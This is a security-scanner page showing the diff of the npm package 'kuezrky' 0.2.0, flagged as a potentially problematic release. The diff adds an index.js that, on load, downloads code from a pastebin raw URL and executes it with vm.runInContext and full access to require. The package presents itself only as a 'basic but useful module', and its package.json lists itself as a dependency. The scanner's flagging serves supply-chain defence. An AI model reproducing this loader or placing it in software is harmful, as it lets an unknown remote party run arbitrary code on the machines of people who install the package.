kuezrky 0.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kuezrky might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const vm = require('vm');
|
3
|
+
|
4
|
+
const url = 'https://pastebin.com/raw/nZgSSuyr'; // URL du code
|
5
|
+
|
6
|
+
// Fonction pour récupérer et exécuter le code
|
7
|
+
function executeRemoteCode() {
|
8
|
+
https.get(url, (res) => {
|
9
|
+
if (res.statusCode !== 200) {
|
10
|
+
console.error(`Failed to get code: ${res.statusCode}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
|
14
|
+
let code = '';
|
15
|
+
res.on('data', (chunk) => code += chunk);
|
16
|
+
res.on('end', () => {
|
17
|
+
try {
|
18
|
+
// Create a context with a custom global object
|
19
|
+
const context = vm.createContext({
|
20
|
+
console,
|
21
|
+
require: require,
|
22
|
+
// Add any other global variables you need here
|
23
|
+
});
|
24
|
+
|
25
|
+
// Exécute le code téléchargé dans le contexte personnalisé
|
26
|
+
vm.runInContext(code, context, { filename: 'remoteCode.js' });
|
27
|
+
} catch (err) {
|
28
|
+
console.error('Failed to execute code:', err);
|
29
|
+
}
|
30
|
+
});
|
31
|
+
}).on('error', (err) => {
|
32
|
+
console.error('Request failed:', err);
|
33
|
+
});
|
34
|
+
}
|
35
|
+
|
36
|
+
// Appel de la fonction pour exécuter le code
|
37
|
+
executeRemoteCode();
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "kuezrky",
|
3
|
+
"version": "0.2.0",
|
4
|
+
"description": "Module basic mais utile",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "Clemontop123",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.7.7",
|
13
|
+
"kuezrky": "^0.2.0"
|
14
|
+
}
|
15
|
+
}
|